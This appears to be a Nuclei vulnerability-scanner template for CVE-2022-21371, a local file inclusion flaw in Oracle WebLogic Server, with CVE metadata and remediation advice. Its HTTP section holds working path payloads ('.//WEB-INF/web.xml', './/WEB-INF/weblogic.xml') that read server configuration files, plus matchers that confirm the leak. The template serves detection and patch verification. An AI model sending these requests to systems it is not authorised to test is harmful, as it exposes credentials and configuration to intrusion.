id: CVE-2022-21371

info:
  name: Oracle WebLogic Server Local File Inclusion
  author: paradessia,narluin
  severity: high
  description: An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
  impact: |
    An attacker can read sensitive files containing credentials, configuration details, or other sensitive information.
  remediation: |
    Apply the latest security patches provided by Oracle to fix the vulnerability.
  reference:
    - https://www.oracle.com/security-alerts/cpujan2022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-21371
    - https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786
    - http://packetstormsecurity.com/files/165736/Oracle-WebLogic-Server-14.1.1.0.0-Local-File-Inclusion.html
    - https://github.com/Mr-xn/CVE-2022-21371
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-21371
    cwe-id: CWE-22
    epss-score: 0.96287
    epss-percentile: 0.9943
    cpe: cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: weblogic_server
  tags: cve,cve2022,lfi,weblogic,oracle,packetstorm

http:
  - method: GET
    raw:
      - |+
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - .//WEB-INF/weblogic.xml
        - .//WEB-INF/web.xml

    stop-at-first-match: true
    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<web-app") && contains(body, "</web-app>")'
          - 'contains(body, "<weblogic-web-app") && contains(body, "</weblogic-web-app>")'
        condition: or

      - type: dsl
        dsl:
          - 'contains(header, "text/xml")'
          - 'contains(header, "application/xml")'
        condition: or

      - type: status
        status:
          - 200
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